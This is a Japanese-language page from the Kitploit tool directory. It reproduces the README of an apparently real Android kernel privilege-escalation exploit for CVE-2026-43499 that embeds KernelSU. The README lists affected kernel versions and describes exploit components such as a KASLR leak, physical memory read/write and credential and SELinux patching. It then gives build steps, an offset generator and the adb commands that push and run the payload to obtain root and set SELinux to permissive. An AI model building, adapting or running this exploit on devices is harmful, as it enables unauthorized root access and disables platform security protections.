Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-43499-root-KernelSU — カーネル脆弱性CVE-2026-43499に基づくローカル権限昇格の適応版で、組み込みKernelSUを統合。CVE-2026-43499+KernelSU脱獄モード | Kitploit
ツール/GitHubGitHub/woshimaniubi8/cve-2026-43499-root-kernelsu
Androidセキュリティ特権昇格エクスプロイトペイロード開発バイナリエクスプロイト
GitHubwoshimaniubi8/cve-2026-43499-root-kernelsu

CVE-2026-43499-root-KernelSU

カーネル脆弱性CVE-2026-43499に基づくローカル権限昇格の適応版で、組み込みKernelSUを統合。CVE-2026-43499+KernelSU脱獄モード

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
183633ヶ月前Kitploit レビュー済み
# CVE-2026-43499-root-KernelSU

カーネル脆弱性 CVE-2026-43499 に基づくローカル権限昇格アダプテーションで、組み込み KernelSU を統合しています。コンパイルすると `preload.so` が生成されます。トリガーが成功すると、KernelSU は `late-load` モード(脱獄モード)で起動します。(xbl_config.img / vendor_boot.img) + boot.img から target.h を生成できます。

ローカル権限昇格アダプテーションはカーネル脆弱性に基づいており、組み込み KernelSU を統合しています。
`preload.so` をコンパイル生成します。エクスプロイトが成功すると、KernelSU は `late-load` モード(脱獄モード)で起動します。
`(xbl_config.img / vendor_boot.img) + boot.img` から `target.h` を生成できます。または他の方法。

参考プロジェクト:

- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)

>[!IMPORTANT]
>脆弱性を不正に利用してコンピュータシステムを損傷・侵害・不正アクセスすることは法律で禁止されています。このプロジェクトは研究・教育・学習目的でのみ提供され、事前に許可を得たシステムおよび環境でのみ使用できます。このプロジェクトの使用はすべて利用者自身の責任で行われます。著者および貢献者は、このプロジェクトの誤用、またはその使用によって生じるいかなる損害、損失、法的結果についても責任を負いません。
>
>免責事項:許可なく脆弱性を利用してコンピュータシステムに対して破壊、侵入、または不正アクセスを行う行為は、関連する法律・規制に違反する可能性があります。このプロジェクトは、正当な許可を得たシステムおよび環境において、セキュリティ研究、学習、テスト目的にのみ使用が制限されます。このプロジェクトの使用、誤用、または変更によって生じる直接的・間接的な損害、法的責任、その他の結果は、すべて利用者が負担するものとし、プロジェクトの著者および貢献者は一切の責任を負いません。

## 影響範囲

**お使いのカーネルバージョンが {Linux Kernel} の場合、この脆弱性の影響範囲に該当します**

- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**

- **2.6.39** <=  {Linux Kernel} < **6.1.175**
- **6.2** <=  {Linux Kernel} < **6.6.140**
- **6.7** <=  {Linux Kernel} < **6.12.86**
- **6.13** <=  {Linux Kernel} < **6.18.27**
- **6.19** <=  {Linux Kernel} < **7.0.4**

## 現在の状態

| Target | 状態 |
| --- | --- |
| `rodin`(デフォルト) | 検証済み |
| その他 `src/targets/*` | 参考 |

## ディレクトリ構造

```text
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│   ├── generate_target.py       # 本仓库统一 target.h 生成入口
│   └── vendor/                  # 从父目录同步的原始生成辅助脚本
└── src/
    ├── main.c                   # exploit 主流程
    ├── preload.c                # LD_PRELOAD constructor + ksud 写出/启动
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...
```

## ビルド

### 依存関係

- Linux host
- Android NDK
  - デフォルトパス:`~/android-ndk-r29`
  - または設定:`ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`

### ビルド

```bash
make PROJECT=<target> -j$(nproc)
```

出力:

```text
build/<target>/bin/preload.so
```

### 利用可能な target を確認

```bash
make list-projects
```

## target.h の生成

このリポジトリには、統一された target 生成スクリプトが組み込まれています:

```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```

`tools/generate_target.py` がエントリスクリプトです。親ディレクトリのすべての target 生成フローを参照してカプセル化し、最終的にこのリポジトリのソースコードに適合する完全な `src/targets/<project>/target.h` を出力します。

スクリプトは IKCONFIG 内の `CONFIG_DEBUG_INFO_BTF=y` を強制的に検証しません。構造体フィールドのオフセットや percpu `entry_task` レイアウトを検証できない場合は、警告を出力して生成を続行します。

イメージ内に利用可能な BTF がまったくない場合、例えば次のように表示された場合:

```text
有效 vmlinux BTF 候选不唯一: []
```

生成器は **BTF なしフォールバック** に入ります:

- 現在の `boot.img` の kallsyms から関数/グローバルオブジェクトのシンボルオフセットを復元し続けます;
- BTF から復元できない構造体フィールド/レイアウトマクロは、テンプレート target(デフォルトは `rodin`)を継承します;
- 生成されたヘッダーの先頭に、`without BTF` と使用されたテンプレートを示す警告が書き込まれます;
- このようなヘッダーは可能な限りコンパイル可能であることを保証しますが、実行時の信頼性は実機での検証が必要です。

フォールバックテンプレートを指定できます:

```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```

#### 1. boot.img + profile JSON を使用して生成

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```

デフォルトで書き込まれる場所:

```text
src/targets/<project>/target.h
```

スクリプトを直接呼び出すこともできます:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```

`profile.json` には物理アドレス情報を含める必要があります。例:

```json
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}
```

#### 2. root 化された ADB デバイスから profile を検出

profile のみを生成:

```bash
make detect-profile PROFILE_OUT=profile.json
```

profile を検出してすぐに target を生成:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json
```

#### 3. (xbl_config.img / vendor_boot.img) + boot.img からの生成

スクリプトは、親ディレクトリの生成器がサポートする他のエントリも公開しています:

```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```

##### 例

```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```

成功時の出力形式:

```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```

`rodin` はデフォルトで実機検証済みの次の値を保持します:

```c
#define MM_STRUCT_SZ 0x500
```

上書きが必要な場合:

```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```

## 新しい target の追加

一致する boot image と profile から生成することを推奨します:

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```

完全な target ヘッダーには以下が含まれます:

- direct map / physical profile の定数
- KASLR slide オブジェクトのオフセット
- task / cred / SELinux のオフセット
- pipe / fops / configfs のオフセット
- pselect レイアウト値(例:`PSELECT_WAITER_WORD_SHIFT`)
- `MM_STRUCT_SZ` と KernelSnitch の調整値

## 実行

現在のソースコードにはデフォルト値が書き込まれているため、通常の実行では `LD_PRELOAD` を設定し、任意のプログラム(`toybox id` を推奨)を実行するだけです。

```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## デフォルトの実行パラメータ

現在のデフォルト設定は次のとおりです:

| 設定 | デフォルト値 | 説明 |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | `ksud late-load` を実行 |
| `KSUD_ALLOW_SHELL` | `1` | `--allow-shell` を渡す |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | ksud に渡すマネージャーのパッケージ名(効果がない模様) |
| `KSUD_DST` | `/data/local/tmp/ksud` | 組み込み ksud の書き出し先パス |
| `KSUD_SKIP_WRITE` | `0` | デフォルトで組み込み ksud を書き出す |
| `KSUD_DEFER_TO_PARENT` | `1` | パッチ済みの親/現在のプロセスパスから ksud を起動 |
| `ROOT_PATCH_SELF` | `1` | 現在のプロセスを uid 0 にパッチする |
| `DISABLE_SELINUX` | `1` | root パッチ時に SELinux enforcing を permissive に書き換える |
| `ROOT_EXIT_SLEEP` | 未設定 / `0` | 戻る前に追加の sleep を行わない |

デフォルトで実際に実行される ksud コマンドは次のとおりです:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

これらの環境変数は実行時に上書きできます。例:

```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

すでに書き出された `ksud` を再利用する場合:

```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## クリーンアップ

```bash
make clean
```

`make clean` は `build/embed/ksud` を保持します。`src/ksud_blob.S` が以下の方法でそれを埋め込むためです:

```asm
.incbin "build/embed/ksud"
```

手動クリーンアップによって `build/embed/ksud` が失われた場合は、次のように復元できます:

```bash
git checkout -- build/embed/ksud
```

## よくある質問

### `.incbin "build/embed/ksud"` が見つかりません

組み込み payload を復元して再ビルドします:

```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```

### FOPS route が `success=0` を返す

`rodin` は legacy/simple pselect レイアウトの使用を想定しています:

```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```

デバイスの状態が失敗した試行によって汚染されている場合は、再起動してから再試行します:

```bash
adb reboot
```

### `F_SETPIPE_SZ` が `EPERM` を返す

通常は失敗・残存する試行による状態の問題であり、再起動が最も迅速なクリーンアップ方法です:

```bash
adb reboot
```

### `ksud` は起動するが `/proc/modules` に KernelSU がない

ログを確認します:

```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```

必要に応じて root シェルで手動実行します:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

## ライセンス

GPL-3.0。[`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE) を参照してください。
ツールをダウンロード